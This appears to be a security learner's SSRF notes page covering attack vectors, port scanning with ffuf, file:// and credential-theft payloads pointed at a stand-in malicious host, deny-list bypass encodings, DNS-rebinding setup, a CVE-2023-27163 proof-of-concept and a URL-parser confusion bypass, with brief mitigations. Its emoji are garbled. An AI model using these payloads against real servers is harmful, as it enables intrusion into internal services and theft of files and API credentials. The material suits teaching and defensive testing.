Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) is an attack in which a hacker can make a server request something from another server, usually an internal server or an API.
From instance, a website using an API. If there is a SSRF vulnerability, the hacker may be able to query the API by exploiting the website.
Common attack vectors
- π Headers (mostly User-Agent)
- π Forms (internal API calls)
- πͺ Cookies
- π Remote connections (imports, file processing, etc.)
Common usages are:
- πΊοΈ Port mapping
- πΊοΈ Access internal services
- π° Steal sensitive data
- π₯ Perform a DoS
There are two kinds of SSRF
- Regular/in-band SSRF: the client will see the result
- Blind/out-band SSRF: nothing is returned to the client
Refer to request grabber to catch requests.
SSRF Attack Vectors
Remote URL Access
The most common scenario is when a website requests an external resources using user input, such as an external avatar URL.
A common scenario is a PHP call to file_get_contents
to access a remote file. You have similar functions in other languages.
You may be able to:
- Map ports/services πΊοΈ
- Steal files π°
Remote API Endpoint Access
If a website is making a request to an external API based on a endpoint controlled by the user, we may be able to access another unintended endpoint. Ex: website.a/?api=path
$\to$ website.b/path
.
You may be able to:
- Access unintended API endpoints π£οΈ
Remote API Access
If the programmer is using user input to determine which server will be queried, then the hacker may try to send the request to their servers instead, and get the API credentials inside the headers.
Ex: a?api=xxx&r=path
$\to$ xxx.b/path
- We send the request to
https://xxx.thebestapi.example/path
- If
api=malicious_website.com?&ignore=
, then the URL crafted ishttps://malicious_website.com?&ignore=.thebestapi.com/path
!
You may be able to:
- Steal API tokens/credentials π΅
SSRF Exploitation
Mapping ports/services πΊοΈ
You may inject URLs such as http://localhost:22
to test if the port 22
is open. You can use fuzzing to enumerate all ports:
$ seq 1 65535 > ports.txt
$ ffuf -w ports.txt -u 'http://IP/?xxx=http://127.0.0.1:FUZZ' -fr 'Connection refused'
You could also make the server call http://ifconfig.pro/
to get some information (IP, DNS...) to perform more advanced attacks.
Access Internal Services πΊοΈ
You may be able to query internal IPs or internal websites.
Steal files π°
You may inject URLs to steal a file. For instance, a URL using the file protocol: file://some/file/on/the/target
.
- List of interesting files
- You could also try to connect to your FTP server using
ftp://
.
Mitigations π‘οΈ
SSRF Mitigations β Overview
You should use strong access controls, network segmentation and firewalls, logging and monitoring to support input validation.
SSRF Mitigations β Allow List
We define a set of allowed URLs/resources. It can be bypassed if the condition is too lax such as "The URL must start with https://example.com"
which can be bypassed with:
https://example.com.malicious.website
https://example.com@malicious.website
Usually, we want to avoid manipulating URLs and instead determine the URL to use from the user input. It's not always possible.
SSRF Mitigations β Deny List
We define a set of forbidden URLs/resources while allowing every other. For instance, we allow every IP aside from 127.0.0.1
and 169.254.169.254
. It can be bypassed too.
All of these addresses may resolve to, or are resolving to, 127.0.0.1
.
0
,00
,000[...]0
,0.0.0.0
(any IP, which may be localhost)2130706433
(decimal),017700000001
(octal),0x7f000001
(hex)127.1
(IP shortening),127.00[...]00.1
(IP prolonging)::1
,::ffff:127.0.0.1
(IPV6)- 127.0.0.1.nip.io, localtest.me, lvh.me, etc.
- ...
SSRF Mitigations β Redirections are dangerous
A good security would be to resolve the domain/IP to check the IP is resolving to a private IP network (or a specific denied network).
ip = socket.gethostbyname("example.com") # extracted from input
ip = ipaddress.ip_address(ip)
if ip in ipaddress.ip_network('127.0.0.0/8'): # check others!!!
return False
if ipaddress.ip_address(ip).is_loopback:
return False # only check if 127.0.0.1
This verification can be circumvented through HTML/PHP redirection. By default, the 'requests' library in Python allows HTTP redirections.
<?php header('Location: http://127.0.0.1/'); ?>
SSRF Mitigations β DNS rebinding
Some vulnerable implementations are making two DNS queries:
- One to verify that the IP is allowed
- One to fetch the resource, if the IP was allowed
We bypass this by returning a public IPV4 addresses for the domain we control with a low TTL to pass the check. As we used a low TTL, the host will perform a second DNS query in which we can return any IP.
ip = socket.gethostbyname("example.com") # 1.1.1.1 TTL 0
requests.get("example.com") # 127.0.0.1
We can use rebinder (website), DNSrebinder (0.1k β), FakeDns (0.5k β), or singularity (1.0k β, web client and GOLang server).
You can use your own DNS server. Add the following configuration:
rebinding IN NS ns1337.example.com.
ns1337 IN A YOUR_SERVER_IP
Then, on your server, install and run a tool such as FakeDns:
$ DEST="$HOME/tools/fakedns"
$ git clone -b "master" https://github.com/Crypt0s/FakeDns.git $DEST
$ ln -s $DEST/fakedns.py $HOME/.local/bin/fakedns
$ cat test.conf
A rebinding.example.com 1.1.1.1 0%127.0.0.1
A rr.rebinding.example.com 1.1.1.1,127.0.0.1
$ fakedns -c test.conf --rebind # Run The DNS Server
- Input:
http://rebinding.example.com/admin
- Input:
http://rr.rebinding.example.com/admin
π You can bind multiple domains for exfiltration using JavaScript. Fetch the data from a domain and sent it to another domain.
π An alternative web service is s-1.1.1.1-127.0.0.1-<seed>-fs-e.d.rebind.it
which returns 1.1.1.1
with a TTL=0
then 127.0.0.1
. Make sure to replace <seed>
with a unique unused value.
Example CVEs
CVE-2023-27163
CVE in request-baskets. POC (shell script) (0.03k β).
$ ./CVE-2023-27163.sh http://target:port http://listener:port
Creating the "<backet>" proxy basket...
Basket created!
$ curl http://target:port/<backet> # sent to listener URL
It can be used to access a resource behind a firewall.
$ ./CVE-2023-27163.sh http://target:port http://target:fport
The GOAT Way π
In Python, the requests
module uses a old version of URLLIB. The following URL "https://example.com\@@127.0.0.1/../flag"
is interpreted differently between requests
and urllib
(src):
host=127.0.0.1\@@example.com path=/../flag
with URLLIB3+host=127.0.0.1 path=/@@example.com/../flag
with URLLIB3
With this trick, you can bypass this dummy code:
URL = "https://127.0.0.1\@@example.com/../flag"
hostname = urllib.parse.urlparse(URL)
# Will verify 127.0.0.1\@@example.com
if hardened_check_on_hostname(hostname):
raise Exception()
# Will fetch 127.0.0.1/flag
print(requests.get(URL).text)
π This code is still vulnerable to DNS rebinding.
π» To-do π»
Stuff that I found, but never read/used yet.